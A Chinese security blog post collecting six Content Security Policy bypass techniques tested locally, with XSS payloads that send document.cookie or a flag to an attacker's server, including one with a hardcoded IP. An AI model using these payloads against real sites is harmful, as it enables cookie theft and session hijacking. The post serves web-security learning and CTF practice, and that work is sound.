F4de's blog F4de's blog
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链

F4de

Syclover | Web
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链
  • php安全

  • python安全

  • Java安全

  • 其他

    • 绕过CSP的一些方法
    • JavaScript原型链污染攻击
  • 技术文章
  • 其他
F4de
2020-08-11

绕过CSP的一些方法

以下方法均是我根据几位师傅的文章加自己本地实验之后总结出来的方法,对于某些在本地无法实验或者实验不成功的这里不做记录。

# location跳转绕过

适用条件:

  • 浏览器可以执行JS脚本,但是由于CSP的原因无法将数据外带(通常情况下 script-src 为 'unsafe-inline')

实验代码如下

image-20200811085558748

由于策略指令的问题,我们的内嵌JS脚本可以被浏览器执行,但是无法将COOKIE向外部传输。但是大部分CSP不会限制跳转,所以可以利用跳转将CSP带到我们的远程VPS上

<script>location.href='http://[VPS-IP]/cookie/'%2bdocument.cookie</script>
1

跳转成功之后即可在VPS的日志文件中拿到COOKIE

image-20200811090039324

# iframe标签绕过

适用条件:

  • A页面做了CSP防护,但是与之同源的B页面没有,就可以在B页面通过iframe用JS操作A页面的dom

实验代码如下

A页面:

image-20200811090231524

B页面:

image-20200811090247781

可以看到,由于A页面的策略指令为 default-src 'self' 这个时候我们输入的JS代码将会被浏览器拦截,但是这种情况下可以在没有做CSP防护的B页面操作A页面的dom来带出COOKIE

image-20200811090442885

# base标签绕过

适用条件:

  • script-src采用了nonce-xxxx,且default-src没有额外设置base-uri,就可以适用<base>标签来指定上下文相对路径的基准为自己的VPS

实验代码如下

image-20200811090748996

在本地有个1.js

image-20200811090809941

?test=<base herf='http://127.0.0.1'><script nonce='xxxx' src='1.js'></script>
1

引入之后,造成XSS

image-20200811090952551

# 不完整的script标签绕过

适用条件:

  • 可控的输入点在合法的<script>标签上方并且中间没有其他标签的干扰、CSP的script-src只采用nonce的方式

注意:此方法在Chrome测试无效,以下实验均在Firefox中测试

实验代码:

image-20200811091208572

由于一个简单的过滤函数存在,我们无法直接自定义一个合法的script标签,但是我们可以利用原本已经存在的合法script标签来将cookie带出

?test=<script src=data://text/plain,location.href='http://112.124.27.13/cookie/'%2bdocument.cookie a=123 a=
1

这样和下面合法script标签拼接起来就是

<script src=data://text/plain,location.href='http://112.124.27.13/cookie/'%2bdocument.cookie a=123 a=<script nonce="xxxx">····</script>
1

成功将我们输入的不完整的script标签拼接成完整的、合法化的标签

image-20200811091728999

# 利用不完整的标签绕过

某些网站有时候可能会引入外部图片且对外部图片没有限制,先看下面的实验代码

image-20200811100848671

其中一项策略指令为 image-src * 即对外部图片的来源没有限制,这个时候有没有什么办法将下面的flag带出呢?

<img src="http://[VPS-IP]/flag/
1

与下面拼接起来就是

<img src="http://[VPS-IP]/flag/flag{xxxxxxxxxxxxx}
id="123"
1
2

由于payload只有一个引号,所以img标签的src属性会向后找引号用来闭合前面的引号,这样flag就被带出到的VPS的日志中了

image-20200811101343001

# svg标签绕过

适用条件:

  • 可以上传文件且没有过滤svg

svg标签中可以执行JS代码,可以通过一个正常的svg文件中嵌套恶意的JS代码来进行XSS

image-20200811101510460

image-20200811101520552


# 参考

以上6点绕过方法并不是特别全面,以后碰到新的经过本地实验之后会进行补充

参考文章

  • evoA:我的CSP绕过思路及总结
  • 知乎二向箔安全学院:CTF|有关CSP绕过的方法
#XSS
RMI与JNDI(一)
JavaScript原型链污染攻击

← RMI与JNDI(一) JavaScript原型链污染攻击→

最近更新
01
RMI与JNDI(一)
01-29
02
Java8-Stream
01-03
03
谈一谈Java动态加载字节码的方式
12-18
更多文章>
Theme by Vdoing | Copyright © 2019-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式